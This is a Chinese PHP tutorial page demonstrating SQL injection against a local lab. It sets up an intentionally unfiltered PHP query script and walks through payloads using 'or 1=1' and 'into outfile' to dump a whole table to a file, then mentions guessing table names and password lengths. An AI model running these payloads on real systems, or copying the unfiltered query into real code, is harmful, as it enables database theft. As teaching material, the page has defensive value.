程序師世界是廣大編程愛好者互助、分享、學習的平台,程序師世界有你更精彩!
首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫知識
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫
 程式師世界 >> 編程語言 >> 網頁編程 >> PHP編程 >> 關於PHP編程 >> sql安全之SQL注入漏洞拖庫原理解析

sql安全之SQL注入漏洞拖庫原理解析

編輯:關於PHP編程

本文章以自己的一些經驗來告訴你黑客朋友們會怎麼利用你數據庫的sql漏洞來把你的數據庫下載哦,有需要的同這參考一下本文章。

在數據庫中建立一張表:

 代碼如下 復制代碼

CREATE TABLE `article` (

  `articleid` int(11) NOT NULL AUTO_INCREMENT,

  `title` varchar(100) CHARACTER SET utf8 NOT NULL DEFAULT '',

  `content` text CHARACTER SET utf8 NOT NULL,

  PRIMARY KEY (`articleid`)

) ENGINE=MyISAM AUTO_INCREMENT=7 DEFAULT CHARSET=latin1;

 

在表中插入數據的操作我就不貼代碼了,可以去下載下來直接導入到數據庫。

接下來,寫一個處理用戶請求的頁面,這裡,我們故意不過濾用戶提交過來的數據,留下個SQL注入漏洞用來測試。

代碼如下:

 代碼如下 復制代碼

<?php

       $servername = "localhost";

       $dbusername = "root";

       $dbpassword = "";

       $dbname = "test";

       $id=$_GET['id'];//id未經過濾

       $conn=mysql_connect($servername,$dbusername,$dbpassword) or die ("數據庫連接失敗");

       mysql_select_db($dbname,$conn);

       mysql_query('set names utf8');

       $sql = "SELECT * FROM article WHERE articleid='$id'";

       $result = mysql_query($sql,$conn);

       $row = mysql_fetch_array($result);

       echo "<p>利用SQL注入漏洞拖庫<p>";

       if (!$row){

              echo "該記錄不存在";

              exit;

       }

       echo "標題<br>".$row['title']."<p>";

       echo "內容<br>".$row['content']."<p>";

?>

 

我們直接在浏覽器中輸入:

 代碼如下 復制代碼

http://127.0.0.1/marcofly/phpstudy/sqlinsert/showart.php?id=1

即可訪問article表中id為1的一條記錄

訪問結果如下:

 

接下來,我們就利用這個漏洞(不知道該漏洞的情況下,只能通過工具+手工檢測),演示一下如何將article表下載下來。

在地址欄中輸入:

 代碼如下 復制代碼 ’ into outfile 'e:/sql.txt'%23

分析:%23是#的ASCII碼,由於在地址欄中直接輸入#後到數據庫系統中會變成空,需要在地址欄中輸入%23,那麼才會變成#,進而注釋掉後面的sql語句。

運行之後,打開E盤,發現多了一個sql.txt文件,打開之後,裡面就是表article中的一條記錄。

為什麼只有一條記錄呢?難道該數據表就只有一條記錄?不是這樣的,因為我們只檢索id為1的一條記錄而已,那麼能否將article表中的所有記錄一次性全部下載下來呢?

答案是可以的,只要你的構造的SQL語句足夠靈活(再次提出了構造SQL語句的靈活性)。

 

分析一下,當在URL地址欄中輸入’into outfile 'e:/sql.txt'%23的時候,合並到sql查詢語句中變為:

 

 代碼如下 復制代碼


SELECT * FROM article WHERE articleid='5' into outfile 'e:/whf.txt'#'

仔細分析下之後,我們可以這樣子構造SQL語句:

 

 

 代碼如下 復制代碼 SELECT * FROM article WHERE articleid='' or 1=1 into outfile 'e:/whf.txt'#'

這樣的話,無論如何WHERE子句總是為真,換句話說,該sql語句等價於如下:

 

 

 代碼如下 復制代碼 SELECT * FROM article into outfile 'e:/whf.txt'#'

懂了吧,該sql語句在先執行select語句,將表article中的所以內容全部檢索出來,然後再執行into outfile 'e:/whf.txt'#'將內容導出來。

 

不信的話,你執行下……

 

利用SQL注入漏洞,我們可以猜測表名,列名,用戶的密碼長度(LEFT函數)等等,當然了,如果能直接向以上的演示那樣將表中的數據全部導出的話就沒必要去猜表名列名等等

  1. 上一頁:
  2. 下一頁:
Copyright © 程式師世界 All Rights Reserved